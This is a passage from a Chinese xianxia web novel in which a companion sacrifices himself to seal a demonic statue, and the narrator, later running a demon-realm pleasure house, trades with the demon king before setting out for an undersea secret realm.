程月舒暂且不论,他和这些魔修本就有所勾结,那徐昭和孟竹臣他们呢。徐昭更是被我无辜牵连,他本来可以远离此地。
忽然,在那边的陈青芜笑了一声,他从中缓步走出,大着胆子仰头,离诡渡傅极近!
“原来是这么个丑陋的东西。”
祭出的法宝和符箓仍在发挥作用,但诡渡傅已经快要从石台走下,阵法困不住多久。
“陈青芜,你要做什么!”
我立刻推开李晏京,心中警铃狂响。
朝诡渡傅刚迈出一步,心脏就猛地剧疼,我噗通一声栽倒在地,被李晏京捞住。
剧烈疼痛中,我捂着心口,话也说不出来,只能眯着眼睛看向陈青芜。
我用口型道:“不要……”
陈青芜抽出腰间的剑,也不知他是什么时候和徐昭商量好的,孟竹臣也飞速察觉到陈青芜的不对劲,但他想冲出去阻拦时,徐昭却控制住了他。
一个喝了斛光酒的人,哪能和盛阳派全盛期的大弟子比,徐昭轻松地拦住孟竹臣,无论他如何拳脚相加都。
我缓过那阵骤然的疼,存着力气推开李晏京,掷出手中的暗月剑直指徐昭。
徐昭头也不回,仅一个回旋踢,就将暗月剑踢飞。现今我被诡渡傅损耗大半,腹中的上古幽冥火又躁动不安,李晏京重新圈着我,灵力在我体内游走。
我挣扎着,大喊道:“徐昭!你让开!”
诡渡傅那边,陈青芜默默侧眸看我一眼,徐昭甚至都不敢回头。
陈青芜轻笑道:“负雪,你不要逼他了,他这么做是我要求的。”
陈青芜许了徐昭什么,能让他如此相帮!
魔修们好整以暇地看着这出闹剧,他们发现,这个男子好像并不是要毁掉诡渡傅,以他的修为,很难对抗已经苏醒大半的诡渡傅。
只要不是李晏京,他们乐得看乐子。
我一只手紧紧地揪住李晏京的衣襟,怒目而视,望见那双沉静眼眸中狰狞的自己。
我的心脏疼得要命,但我压低声音求李晏京,“别救我了,别管什么黄泉河了。我天生就不是修道的料,这条路我走得够累了,我只是贪恋师尊的……”
我甩甩脑袋,咽下后面的话,“我求你救救他们,他们都是天资卓绝的人,不应该就此陨落在这儿。程月舒和季无涯的仇你帮我报,我不傲了,不要亲自动手了,可不可以?”
我情绪又忽然起来,嗓子都劈了叉,我对李晏京吼道:“你不是想要我吗?事后怎么样都行!我求求你!他们不应该……!”
陈青芜在旁喊道:“负雪!别瞎说!”
我想回头看他,但是李晏京捂住我的眼睛,我被刺激得大叫,拼命去抠双目上的手。
我不信命!我不能信命!
“陈青芜,你不要犯傻,我有办法的!南玄仙尊在这儿,他一定会有办法的!你的道!还有常善!都能……”
陈青芜大笑一声,“负雪,仙尊能解决我身上的杀戮,可如何解我心中的苦楚?这些天我每每打坐,身边环绕的尽是我亲手杀掉的那些无辜之人,叫我如何心定?叫我如何心安?我曾想,我不修道就修佛,不修佛就转修各种杂家之道,也不曾想过我的手上竟能沾这么多鲜血!”
我说,你们都是被我连累的。
说罢,我一声一声地嘶哑着喊:“程月舒!你给我滚出来!”
李晏京极力稳着我的心神,魔蛊和他对抗,我的怨气化作它的养料。
“郁负雪,冷静点。”他在我耳边道。
陈青芜手不停地画着符文,阵法雏形正缓缓浮现,他慢声道:“孟竹臣,郁负雪,我是甘愿换出常善的。”
魔修们嬉笑着窃窃私语。
“在此,希望你们以后都道途顺利。其实在我发现我被参禅附身,亲手杀了那么多人时,道心就已经碎了,现在真算不得什么。”
“我会带着我的罪孽,前往轮回。”
孟竹臣刚想说什么,被徐昭一掌劈在后颈,迎面倒下去。
陈青芜拿出常善送给孟竹臣的旧剑穗,十分可惜地叹口气,“可惜,这个不能还给你们了,希望你俩别生我气。”
黑暗中,我抓住李晏京的另一只手,拼命地一口咬上去。
我发狠地咬他,含糊不清地发泄。
“李晏京,杀了程月舒,杀了诡渡傅!你不是堂堂渡劫期吗?为什么这点小事都办不到?为什么这么多魔修在你眼前蹦,你却毫无作为!”
魔修当中领头的那人哈哈大笑,他听到我的话,感到十分滑稽,“如今南玄仙尊哪里还有渡劫期的修为,不知道退到哪去了,否则怎么可能被我们拖住脚步?”
“等诡渡傅将尊上缝好,解开他的封印,尊上回归之日,就是你们正道道毁之时!”
我气急攻心,魔修在大笑,诡渡傅在走下石台,陈青芜在不顾身死地布阵,我胸口一闷,低下头,猛地呕出一大滩血。
紧接着,李晏京竟直接将我耳上的耳坠摘下,我出手抢夺,他却先一步发力,咔嚓一声,耳坠被他捏得粉碎。
“你不能再听了。”
我的脑中刹那间一片空白。
我慢慢转头,双眸从他的掌心挪开,我不带情绪地看向李晏京,“……你就这么任由他们重新扰乱世间。”
李晏京的目光里什么都没有,他并不站在正道这边,也不站在魔道那边,他的心在百年前的正魔大战里就丢了。
现在于我面前的,哪里是什么正道第一人。依我看,是不知道从哪来的妖孽,无心无情,比季无涯更甚。
他戏耍我,愚弄我,将我的所有要求置于虚无,他不在乎我的感受,他只想得到我。
我对李晏京最后一次道:“求你,往后你说什么就是什么,我绝不会再违背你半步。”
陈青芜的阵已成。
旁边看戏的魔修轻咦一声:“嗯?他是那个逃走的七窍玲珑心?怎么入了杀戮之道?”
另一个说:“这不是刚好吗?他现在可心甘情愿的成为诡渡傅的养料。”
“等诡渡傅苏醒,就可以让它把尊上合起来。我们等了这么多年,废掉多少个场地,终于等来尊上的有望再临!”
这厢,我对李晏京说:“如果你不出手,那你当初又为什么要救我?我以为你很在乎我的,仙尊。”
半晌,李晏京轻叹一口气。
他说:“郁负雪,这是最后一次。”
我点头应声,“最后一次。”
他松开我站起身,我跪坐在地喘着气。
旁边原本站着看戏的魔修注意到,全都严阵以待,他们俯视着李晏京。
为首的那人,抽出他背后的双月弯刀对李晏京道:“看来仙尊是执意要管了。”
李晏京没有开口,甚至都没有分一个眼神给他们,而是面对诡渡傅。
陈青芜和诡渡傅的脚下分别浮现出两个圆环,周身是大阵相圈。
诡渡傅被金钵捆住的铁链已寸寸崩断,其余符箓和法器全都损毁。
它正抬起一只脚,被陈青芜的阵法锢在原地,它先是被我拖住,现在又被眼前一个连元婴期都没有的人困住,那薄纱下虚假的、慈眉善目的脸变得狰狞恐怖。
诡渡傅仿佛知道自己即将死亡的命运,他的嘴咧开大笑出声,随后,脸从中间裂成两半,露出下面另一张更加非人的面孔。
陈青芜慢慢地侧了下头,不知想看什么。
就在这时,异变突生!
诡渡傅的腰间忽然生出四只胳膊,闪电般疾伸,一把将陈青芜的脑袋拧正!
“陈青芜!”我叫道。
诡渡傅最上方,原本捻针的那只手就要往陈青芜的头顶戳下去,另一手的鬼眼佛塔,眼珠发出刺目的红光。
我远远看去,陈青芜的神魂都好像有些不稳,我同样如此。
我猛地弓起背部,额头砸在地上抵着,整个人蜷缩了起来,压不住地痛苦呜咽。
李晏京伸出五指,指尖凝聚起灵力迸射而出,诡渡傅的新生出的手被搅碎!
陈青芜才得以片刻喘息,但头顶上方的长针针尖即将刺到他的头发。
“克己。”
李晏京轻吟一声,腰间的克己剑就飞了出去,与诡渡傅手中的长针相撞。
克己剑轻而易举就击碎长针,其如石块一样粉碎。诡渡傅收回手,右手轻轻一展,一根崭新的长针再次出现在它的手中。
克己剑颇有灵性,大约知道主人心情不好,它与那诡渡傅不断缠斗,将它生出的副胳膊再三斩断。
诡渡傅猛地扬起脑袋,薄纱也跟着扬起。下方的另一张脸伸出蛇妖一般的长舌,眉眼尽是邪恶之气。
它那舌头宛如利器一般弹射而出,和克己剑相撞。克己剑是经过正魔大战的法宝,是南玄仙尊的本命剑,就算李晏京修为真的倒退,克己剑也不会就此失去锋芒。
李晏京的剑道与我不同,剑气静而锋利,一剑就将诡渡傅的舌头斩断,掉在地上,水蛭般跳弹。
此时我回过神,听到那诡异雕像发出的叫声像婴儿在哭泣。
我眼前的地面顿时一花,耳边响起千万絮语。
有什么人在哭?哭得撕心裂肺。还时不时夹杂着别人的叹息。
很混乱,很嘈杂。
随后,是一声叠一声的叫喊,逐渐增大,越来越多,男女老少都有。
“仙人……仙人……”
“仙人!!!”
这一声吼出,我感觉到心
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脏的魔蛊开始啃食我的血肉,疼得我分不清耳边是幻听还是现实。
魔修们祭出武器,朝着李晏京攻去,他们有无畏,眼里的狂热掩都掩不住。
仿佛能为尊上复活事业而死,便是他们最伟大的作用,最能拿得出手的价值。
李晏京拧眉。
那群魔修并不是胡乱的用蛮力去和李晏京相抗,他们分别居于一个小方位,各种法诀和武器攻击不断。
克己剑与陈青芜在对付诡渡傅。
李晏京飞身过去要一掌震碎诡渡傅,又被魔修们拉回,甚至还有人以身体挡住李晏京对诡渡傅的攻击。
我用力捶打脑袋,看向四方的魔修,提起暗月剑,拿出储物戒里的丹药,悉数倒入口中,充沛的灵力在我的体内爆开。
李晏京为我治疗时,就告诉过我,这种方法对灵脉损耗严重,虽然我如今的身体圈不住灵气,它们会溢出去,但还是有伤害。
“往后不可再如此暴力的对待自己的身体。”他曾如此说道。
但我没有听,我感受着身体的变化,灵脉隐隐有堵塞的趋势,丹药并非完美的东西,我知道,但我此刻感觉快活极了。
我仿佛变成那个全盛的自己,提着剑,脚尖轻轻一点就跃上屋顶,我速度极快,趁魔修未反应过来,一剑穿心而过。
他们很快变换阵型抵挡。
在下方护着孟竹臣的徐昭抬头看我,大喊道:“郁负雪!”
可我一眼都没瞧他。
我游走在魔修之间,他们的魔气和我心脏的魔蛊相呼应,我不在乎,面无表情的连出数十招。
魔修放出傀儡,人数颇多,我被打断攻击,那些不惧疼痛的死物趁我有破绽,将我一脚踹飞到建筑群,撞倒大片房柱。
徐昭匆匆跑来,他想扶我,却被我一把推开,后退几步,跌坐在废墟中,又接着站起来要拦我。
“郁负雪,郁负雪,你冷静点!那个南玄仙尊不是已经在解决问题了吗?你着急起不了任何作用!”
我知道,我知道,我都知道。
我掀开他,原本被李晏京灵力温起来的灵脉再次被上古幽冥火灼烧,其有反噬征兆。
心脏密密麻麻啃食的疼痛也漫上来。
没有关系,我想我已经习惯。
“你和程月舒认识?”我冷冷瞪向徐昭,但不等他解释,我又说,“算了,滚吧。”
身形一顿,扶着旁边的墙,张口间便喷出大量鲜血,挥开徐昭又要过来搀扶的手,我只是看着血,皱了一下眉。
我将徐昭留在身后的废墟中。
他回过神,冲我高声道:“不过是同门而已,值得你如此奉献自己吗?”
我没有回答。
再次踏出时,李晏京已经脱离魔修的掣肘,他双手结印,诡渡傅腹部直接亮起白光,克己剑的光芒也骤然增大,直接从诡渡傅腹部横着剖开。
但鬼眼佛塔不肯认命,它在瞬间运转,要愈合诡渡傅腹部的伤口,同时从佛塔中生出有形的气,捆住陈青芜。
李晏京直接一个用力,诡渡傅腹中白光被他取出,装入瓷瓶。
而诡渡傅原本快愈合的伤势喷出黑血,整个上半身折断,朝后仰去。
鬼眼佛塔眼珠剧烈一转,分成两半,上半身反折只剩皮肉,且即将触地的诡渡傅被重新黏连。
它终究还是走下了石台。
七窍玲珑心之人对这等魔修制出的诡物来说可是大补之物,周围的魔修也巴不得拖延到这诡渡傅吃掉陈青芜。
陈青芜的耳朵和眼角溢出鲜血,形成一条红线顺着往下流。
但他很开心。
他看见那诡渡傅腹中的白光被取出,当即松口气,阵法已经将他和诡渡傅连在一起,诡渡傅一时半会无法出去伤害他人,只能先对他下手。
他的命还是很有用的。
那鬼眼佛塔从诡渡傅的手上飞出去,被阵法边缘的光芒拦了下来。
诡渡傅胸腔两侧的肋骨再次长出四只手,或纤细窈窕,或肌肉虬结,克己剑在这时转了个弯。
李晏京回头,停下脚步。
魔修阴森的声音从我背后传来,他先是吸了口气,又激动地将剑的边缘贴在我的脖颈。
“嗯——!魔蛊果然已经孕育成熟。”
我却没在乎自己的处境有多危险。
“陈青芜!”我提醒道。
但一切都太快了,苏醒过来的诡渡傅不再是迟钝缓慢的雕像。
那边,孟竹臣从角落悠悠转醒,刚捂着脖子抬头,就见陈青芜的身躯平白开了条缝,他望着那邪异无比、四散纷飞的鬼眼大笑。
鬼眼重新凝聚成佛塔,摄魂不成,反被陈青芜纳入体内,诡渡傅六只手和手中的长针向下,再难寸进半分,猩红的舌头定在空中。
陈青芜的身上传来靡靡梵音。
他的身后浮现一虚幻身影,佛影无头,隐于虚无,盘腿而坐,守护着陈青芜。
那佛影通体散发着真正的慈悲。
陈青芜以他那把沾了许多杀戮的剑点地,双手握于剑柄,黑红色的气从剑身窜出,群蛇一样舞动着,他的头发无风自动,嘴角的血也终于咽不下去,缓缓流出。
“快阻止他!”还有气的魔修终于意识到,这阵法不是什么交换阵,爬起来大喊道。
陈青芜高举他的本命剑竖于身前,剑身垂直,轻轻拧转,那把剑的周围顿时出现许多黑色身影,他们都在尖叫着、哭泣着。
“陈青芜!”孟竹臣忙爬起,往中央跑去。
我大喊道:“李晏京!”
与此同时,陈青芜瞬间调转手腕,身后金色佛影化成流光,璀璨夺目,顺着他的手臂往剑上流,那周身凝滞的气又重新恢复,诡渡傅的手相合,箍住了陈青芜,清脆的骨头碎裂声接连传来。
陈青芜自己看见那金色的气,也只是惊讶一瞬,看着那混合在一起的两股气,他笑了,手中去势更快。
李晏京双手结印,上下错开,蕴含天地法则的白光在他手心亮起。
我冷下脸,直接往剑上撞,身后的魔修手一抖。魔蛊要活着取出,这也是他为什么说魔蛊成熟,却不杀我的原因,我若死了,他什么也拿不到。
魔修松手,我转身侧削,暗月剑破开他周身魔气护罩,自他颈侧穿过,顺滑无比,滚烫的血溅在我的眼角。
但。
程月舒的声音清楚地响起,他从躲藏的地方再次钻出,时机掐得刚刚好。
他站在李晏京的不远处,眉目淡淡,只有嘴角还有些残留的笑意。
整个人看起来神秘莫测。
“晏京……”
他在模仿谁?
我扭过头去,一贯沉静的面容瞬间崩塌,显得狰狞扭曲。李晏京手中的动作,因程月舒这一声轻唤凝滞了一瞬!
程月舒现在姿态高傲,也有沉淀之后的一份静,他骨子里仍有那份自然的阳光,所以显得此刻形象很高,与之前大不一样。
李晏京被这么一叫,神色十分明显的有些恍惚,他的这一刹那的停滞,陈青芜的剑便贯穿了诡渡傅。
那破不开的法阵碎裂。
分明只是轻轻一剑,却用尽陈青芜大半生的力气。
他释然而笑,诡渡傅六只手齐齐将他一攥,我的眼前都是血色。
那柄剑钉穿诡渡傅后去势不减,直接带着它向后倒,牢牢将它钉在它走下的石台上。
诡渡傅六只手狂动,薄纱扬起,分裂成两半的假脸被剑身漫上来的金色灵气裹住一撕,只剩完全的真实模样。
带着浓重杀戮之气的剑,开始侵蚀诡渡傅。
那些不甘的魂,被金色的气引导,本已经化作肉身的诡渡傅,从剑造成的伤口处,重新朝着石头转变。
魔修们尝试去拔剑,却被上方的佛道气息震慑,碰也碰不到,他们的脸色难看至极。
谁也没想到,玲珑心的人有天地造化,却甘愿如此献身。
“走!”剩余寥寥几魔修,见势不妙,果断地转身撤离。
李晏京放下手,他有些愣神,很快恢复往日表情,手中的白光消散不见。
那诡渡傅的叫声渐渐弱了下去,它重新化成的石块部分崩裂,碎落在地上。
只剩下陈青芜的剑斜插在石台边,而剑尖嵌在一颗黝黑的石头里,那东西看着像是诡渡傅的内核,陈青芜把它镇住了。
七窍玲珑心,天生就适合修各种道。
我和孟竹臣他们哪里算得了什么天才,陈青芜原本是我们之中最有可能登仙的。
“李晏京。”我沙哑着声音叫他,在场剩余的几人都看过来。
程月舒笑着走到李晏京的身边。
这次李晏京并没有再看我。
【第一卷:天意愚我,非我之过-完】
31. 逢仙岛海底境
钟鸣三声罢,鼓乐喧天。
妖界的吾艳楼在前些时日易主,全楼闭门数月,血腥味浓得惊动妖王祝青蚨。
其门大开,祝青蚨进去后不到一个时辰,便笑意盈盈地走出,两手空空,无事发生,什么人或妖的头都没提,众妖惊叹不已。
从此,吾艳楼在妖王祝青蚨的默许下继续存在。
并于今日,正式改名为梧言楼。
重新开门,广纳妖客。
我趴在梧言楼五层的栏杆向下眺望,手托在面具上,手指跟着曲乐轻叩,面具黑底金纹,夹杂红色细纹点缀。
梧言楼内的金鳞灯灵光闪烁,照过面具,瞬显千百恶面,又眨眼间消散不见,徒留狰狞恶鬼相。
下方热闹至极,妖客们甫一进入,就被那灵兽珍馐,以及舞乐美姬吸引,眼中放光,迫不及待地投入其中。
当初在萧城,陈青芜点化的两姐妹带着孟竹臣从楼梯上来,我听见声音,站直身体,转身面朝他们三人,并未迎上去。
“回来了?”我笑道。
孟竹臣如今一身劲装更显利落,腰间绑着个酒壶,里面温养着常善的魂。
他向身边的杏梧、杏言两姐妹——也就是那对红杏化作的小妖,点头言谢。
她们没动,均抬眸望向我。
“今天梧言楼重开第一日,可能琐事颇多,需要麻烦你们费心,事后想要什么,尽管和我说,我都会尽力办到。”
杏梧率先捂着嘴咯咯笑,声音动听:“郎君,我们什么也不要,您送我们的这个大礼已经足够珍贵了。”
杏言也道:“有郎君在,怕什么?那祝青蚨今日也会来,可需要仔细招待着他?”
想起那直率无比的妖王,我背过手,“不必,吊着他,才能让他往外掏钱。”
杏梧知晓后欠身道:“那我二人便先下去了。”
我转过身,带孟竹臣往五楼最内层的包间去,进门后,门自动合上,来时的走廊开始移动,空间被打乱。
关上门,金色符阵浮出瞬息,很快隐没。
孟竹臣坐下后倒出壶中热茶。
“负雪,”他一口饮尽,“世间大乱,位于逢仙岛下的海底秘境已有所响应,不日将应运重开,据传我们要的那棵泣株种子,就在秘境深处的某个地方。”
逢仙岛本来只是个桃花遍布的无名岛,相传有仙人曾在此地逗留,开辟海下秘境,非乱世秘境不开。
此后,这岛就开始被人们改称逢仙岛,如此叫到现在。
黄泉河被李晏京取走,用在何处,并无风声传出,我和孟竹臣收集各类书籍,连修真界野史都没放过,才找到一个能代替黄泉河的东西。
其名“泣株”,多茎仙草,极其罕见,书中记载,泣株多生于乱世,为“类仙人”植株,不忍世间动乱,发芽成长后会自发吞噬天地之气,转化成大量灵气反补世间。
不过真假难辨,书里说最后一颗种子几百年前被最后一位仙人丢到海底,落入逢仙岛下的海底秘境。
“好。”我站在一边,点头应声。
面具怒目笑颜着对孟竹臣,他坐在凳子上,默然片刻,移开视线。
“魔修们还是在找你,他们已经找齐被封印的魔尊,以剩余的诡渡傅缝起了项席,但还缺……”
我头稍侧,眼睛微弯,面具悠悠一转,变成绀青獠牙的嘲讽模样。
“还缺能反噬当年李晏京沟通天道设下封印的魔蛊,缺我的血浸泡,让项席重回巅峰。”
“不然那些低阶诡渡傅草草缝就的魔尊,可存在不了多久,是吗?”
孟竹臣顿时哑然,抬眸一看,见我面具变化,目露担忧。
触及这关怀备至的神色,我微怔,闭上眼稳住心神,五指摁于面具,其如活物般蠕动,重新扭成原来的黑底金纹模样。
“……我没事,急不得,我知道。”缓过那股暴戾兴奋的劲儿,我放下手,对孟竹臣道:“明日就启程,前往逢仙岛。”
孟竹臣这次却是沉默很久,他垂眼摸着腰间葫芦。
“负雪,我知你不喜欢我们问你的身体的事儿,但你现在的体温,我坐在这儿都能感觉到冷。”
这千面鬼寄生的面具很好用,能麻痹静脉,遮掩修为……
且受我驱使,比腹中不太听话的幽冥火更得我心。
只是戴久后,会影响修士心性,还会让人周身仿若处于冰窖一般。
可我本身心性已经足够糟糕,寒冷比疼痛更使我着迷,这点儿影响不足为惧。
我笑了一下,淡淡道:“抱歉。”
孟竹臣的表情被我这两个疏离的字打得凝固,我知他听不得我这样说。
辜负他的好意,我内心过意不去,却也很快压下。
有陈青芜的事在前,程月舒和魔修们视我为眼中钉在后,我决心不再与任何人亲近。
孟竹臣如此好脾气的人,被我气得又闷了两杯茶降火,重新转回正题。
“逢仙岛此次秘境,各大门派都有所耳闻,仙人秘宝谁不想要,值此乱世,更是机缘。”
“玄清宗那边也会派弟子去,听说领头的长老是长垣仙君。”
我在包间内走动,时不时拨弄几下墙壁悬挂着的传音铃,指尖滑过曾溅满鲜血的雅帘。
当初来妖界选择打下这楼,也是看其内里乾坤莫测,颇合我心意,再者,可以顺便收拢两姐妹,从此在妖界有个躲藏的落脚处。
“他啊。”我叹出口气,“那程月舒也会来。”
孟竹臣颇为讽刺道:“是,如今他得了你的金丹,已经步入后期修为,听闻长垣仙君让他压制,稳扎稳打为妙。嗤,炼气期一天走到金丹期时,怎么不说稳扎稳打。”
说到这儿,孟竹臣又停了下来。
我正瞧着青山飞鸟图出神,耳边没了声音,侧眸透过面具看去,孟竹臣在观察我的脸色。
我其实很讨厌他们这一副小心翼翼看我脸色说话的模样,我清楚,我尚未堕落,用不着他们这样托着。
“怎么了?”我垂下眼眸,略一思索就知道孟竹臣想说什么。
“徐昭还是想见我?”我淡淡开口。
那时候徐昭打晕孟竹臣的事,孟竹臣并不计较。
我也清楚,这事儿主导的是陈青芜,他怕是早就给自己定了一个结局,瞒得我死死的。
就算没有陈青芜的嘱托,孟竹臣冲过去,事态也不会有太大变化,魔修们不会让他阻止七窍玲珑心之人的献身的。
“是啊,负雪,”孟竹臣无奈地笑,也没劝我,“还是不见?”
面具再次变换,我同孟竹臣解释道:“他也是我的因果,因我迈入修真界,我不是怪他,只是不能再牵连他。”
送走孟竹臣,我在屏风后的床上躺下,五指紧扣面具,用力将它从脸上撕扯而下,漆黑的根粘连断开,慢慢缩回面具边缘。
我捂着嘴剧烈闷咳,拿出暗月剑放在手边,用胳膊挡住脸,侧身蜷缩而睡。
那天碧泉镇的夜很黑。
人化成血,竟只有这么
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小部分。
陈青芜死后,碧泉镇的状态便被破开。
李晏京身边站着的是程月舒,我独自融在黑暗中,看着那个狼狈的自己站在一边。
从拔剑以自身威胁李晏京,到摔碎簪子和玉佩遁逃,程月舒始终没有出过手,但他眼底尽是胜意。
魔修当时感叹的魔蛊已熟,在场修士耳聪目明,全都听见了。
徐昭跟过来,装得像模像样。
一个不知存了什么心思接近我的人,一个和程月舒认识的人,拿出陈青芜给他的舍利子,说可能克制魔蛊。
我拒绝了,焉知道,经他之手的东西会不会被加什么。
再一回想,芙气镇可以不是巧合,溪城可以是障眼法,现在更可以是动真格。
徐昭满脸歉意与纠结,他赶着找到我废了好一番工夫,人不敢靠近,只大半身子在屋外,手扶着门框,另一只手举着舍利子。
我说:“滚远点,徐昭。”
徐昭脸色稍白,他尴尬地笑了两声,外面夜色正浓,淅沥沥下着雨,他的后背被慢慢淋湿,没进来,却也没走。
“郁负雪,”他不知道,叫我全名只会令我更加烦躁,“我真不知道你们说的程月舒就是陈书,他原来和我同一个镇子的,我……”
说到这儿,他噎住了。
因为梦里的我已经站起身,整个人阴郁至极,脖子上有凝固的血痕,那时候我定是听不进去的,理智和感情把我撕成两半。
我剑尖轻轻点在徐昭的喉结上,微仰起头,眼睛半阖向下看他,“不重要。”
徐昭的反应太奇怪,盛阳派的人是这种作风?他和陈青芜交易了什么我不会管,那是陈青芜的意愿,我没权力干涉。
我和徐昭见过的次数顶多一巴掌的数,有什么能值得他这样跑来,剑指咽喉也不后退。
“徐昭,你很久以前是不是见过我?”
叮——
一声清响,我骤然睁眼,单手叩上千面,另一只手握紧暗月剑,目光投去,墙上的传音铃在跃动。
绕过屏风,并指以幽冥火弹响传音铃。
里面传来杏梧的声音。
“郎君,妖王要见您。”
祝青蚨,那个想和我结为道侣的大妖。
我将剑从右手换到左手,轻轻转动手腕,垂眸,声音淡淡,“不去。”
杏梧那边静默片刻,应当是去传话,随即传音铃里再次传来声音:“妖王说,他愿意借您能遮掩天道窥探的法器,还带来了玄清宗的消息,但需要您亲自见他。”
自从通过李晏京的态度,怀疑天道针对我时,我就想找到这种法器。
天衍四十九,留一线生机。
若我要从逢仙岛下的海底境获得机缘,有这样一层保护并不是坏事。
修仙之路逆天而行,妖、魔、人,前两者难度高于正道修士,一者非人,二者业孽颇多,妖族定有和天道对立的法器。
没想到祝青蚨真的给我弄来了。
我转手腕的动作一顿,不过玄清宗的事我可没让他插手,“让他在一楼等我。”
杏梧那边有些迟疑,声音慢吞,“一楼宾客众多,气味混杂,颇为吵嚷,他可是妖王,若他不乐意呢?”
戴在脸上的千面瞬间变了个脸,连同我传出的声音都带着股笑,听着有些失真。
我搓了搓冰凉的手指,觉出杏梧身边站着祝青蚨,她的话约莫是祝青蚨的话。
“不会,祝青蚨堂堂妖王,难不成还惧怕被妖看?”
32. 再度相见之人
传音铃那边又静下来,我并不着急,片刻后,祝青蚨的声音响起。
“知道了,本王等就是。”
我再一弹指,传音铃晃动,声音被截断。
深吸一口气,屋内的铜镜印出我稍显扭曲的身影,我拿起铜镜,左右看自己的模样。
梦惊醒后的心悸还在,有千面在身,魔蛊睡得很安稳,我的状态尚可。
转身开门,每走出一截,前方的路便自动相错,空间扭曲,恢复真实的走廊。
重回五楼廊间,我没有走楼梯,而是来到栏杆处,单手扶在其上,稍微探头向下望。
中央高台或端坐、或起舞的,是杏梧她们请来的妖界贫窟中善歌舞之妖。
妖族崇尚弱肉强食,听说之前的妖王对待这种下等低阶的杂交妖兽化形者,都是当成猎物食玩。
那时候,妖界对血液的纯度及血脉的含金量都极其看重,是以这类心善体弱的小妖们,只能当大妖的备餐。
祝青蚨在上一任妖王眼中是个低贱的虫,前妖王听说这种虫,味辛美,食之可获财运,便动了心思。
他的母亲就是死在前妖王的手中,谁也没想到,一个虫而已,居然能斩尽妖王宫,获得闭关妖尊的认可,赐下紫冠,从此便为新妖王。
祝青蚨上任后,完善等级划分,禁止同类相残,将低阶妖修赶往贫窟,并层层划分区域加以规定,妖界得以太平至今。
是个人物。
我轻敲栏杆,捕捉到祝青蚨靠在柱边的身影,便纵身一跃翻过栏杆,仍单手抓握,站在外沿边。
刚巧一曲奏罢,各妖捧着自己才艺所得灵石退场,我放松身体,慢慢松开手,身体自然前倾,重心转移,头向下而落。
失重感传来,白发舞动,众妖客在我眼前划过,梧言楼内一片惊呼。
我闭上眼,在即将砸于高台时旋身,弓腿而落。
“你是谁!?胆敢在我妖族地盘如此放肆!”
高台边的场地设有珍馐,大快朵颐被扰了兴致的鱼妖拍桌而起,绕过其他人,手指着我走来。
“梧言楼这才重开第一天,就有人砸场子?”
“白发?鬼面具?好生可怖,他不是妖族之人吧,而且修为我竟看不穿!”
“来的好,本来就看这梧言楼不顺眼了,背后的新主人躲躲闪闪不肯露面,要不是看在妖王的面子上!我定率先来探探虚实!”
他旁边的朋友瞥见什么,甩手抽他一巴掌,指着另外那头缓缓走出阴影的祝青蚨。
“别讲了,你看那是谁!”
“……嘶,噫!”
妖客们说话嗓门大,都是些粗鲁耿直的妖,话语被我听了个七七八八,我单手持剑,歪着头将搭在肩前的头发拨到颈后。
“你出场可真是一点儿也不低调。”
祝青蚨头戴额链,标志性的紫色宝石让哪怕从未见过妖王的小妖也能猜出他是谁。
他在一众静默里亲自含笑迎过来,算是给足面子,我轻动持剑的手腕,他便停下脚步。
“不喜欢?”
我稍微侧头问道,千面模糊一瞬,变成白底细眉的含笑模样,面具的眼尾处涂着实心红圈,神秘又诱人。
祝青蚨没动怒,他转着手上扳指,在众人的目光中坦然道:“没有,喜欢的,你又不是不知道。”
我颔首,和他擦身而过,走向梧言楼外。
“郁负雪。”他快走几步,“这是你的名字吧?上回你不肯告诉本王,本王就自己去查了,难怪你会来我们妖族。”
我走在梧言楼外的廊下,“妖王知道了,然后呢?非我族类,所以要赶我走?”
祝青蚨低声细语,他够敏锐,没什么妖王架子。
“别生气,你夺下梧言楼是你的本事,妖族以强者为尊,本王敬佩都还来不及。”
我轻笑,“别这么说,可不及您。”
他哂笑摇头,不再与我争辩,暂且不提人族混进妖族之事,祝青蚨并非那等盲目排斥他族之人,手腕一翻,掌心多出个锦盒。
“这就是你要的东西。”
祝青蚨另一只手打了个响指,盒盖自动掀起,出乎我的意料,没有丝毫灵气波动。
里面躺着一只古朴玉镯,做工简单,低调至极。
“只是借,从逢仙岛回来后,你还会回梧言楼,对吧?到时候本王可否邀你小酌?”
我接过锦盒,将事先写好的妖修禁册上半部分丢到他怀中。
玄清宗藏书阁不仅收录禁书,还将正魔大战中的他族书籍瓜分,一并纳为宗族底蕴。
妖族在此战中为墙头草,没讨着好处,丢失不少传承,上届妖王耽于享乐,并不在意传承之事,留下的烂摊子不小。
所以,祝青蚨光治理妖族还不够,他需要扩大妖族的力量,流失的那些妖族秘籍,他得找回来。
“别拿小酌做借口,想要下册及其他秘籍,老规矩,得拿东西来换。”
祝青蚨抱住书简,粗略翻看后笑着收起。
“本王是真的喜欢你,郁负雪,不要总是曲解我的意思好吗?想看你一眼,我这个妖王还得低声下气地求你,憋屈得很。”
“不是查过我了?没找着画像?”
我闭上眼感知四周,在外时偶有窥探视线,进入妖族后频率少了许多,现在古镯戴上,自身气息顿时被压住。
祝青蚨缓声道:“没呢,你们玄清宗的把你画像全都烧了,本王想找都找不到。”
我倏地一顿。
直到乘坐飞舟前往逢仙岛时,我仍在思考,李晏京这么做意欲何为。
玄清宗如今明面上掌权者还是王卿尘,但李晏京出山,王卿尘必定得交出手中权力,掌握话语权的已经转为李晏京。
烧我画像,是本人对我念念不忘,还是又一个站在程月舒身边的“长垣仙君”。
之前王卿尘对我的态度不甚明朗,对李晏京却是实实在在的忌惮与不喜,事后再想,其实也能理解。
王卿尘身为一宗之主,顾虑颇多,我只是小弟子,事件证据不足,又碍于季无涯的面子,他不可能帮我。
那我能否找机会见王卿尘一面?
握在手里几百年的权力,一步步壮大的心血,李晏京起了什么作用?
镇宗之宝罢了。
他甘心把宗门就这么让给李晏京吗?
孟竹臣走到我身边。
“逢仙岛快到了,负雪。”
我回神,看着飞舟边被撞散的云雾,稍微侧走几步,远离孟竹臣,“好的,孟兄。”
“你穿得这样高调,没关系吗?”孟竹臣握在栏杆边的手微紧,“这次真不要我去?”
低头看了眼自己,出自妖族大师亲手打造的玄黑劲装法衣,精致护臂外加那
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古朴手镯,白发高高扎起,邪异的千面扣于脸上。
就是要高调。
我摇头谢绝,“幽冥火我已能掌控大半,疼痛也有千面压制,自保的法器符箓我也同祝青蚨交换了不少,梧言楼开业不久,还需孟兄你帮衬着些,我不放心祝青蚨。”
孟竹臣叹口气,没有再劝,只是嘱咐道:“别冲动,负雪,有事记得传讯于我,不管多远我都会来的。”
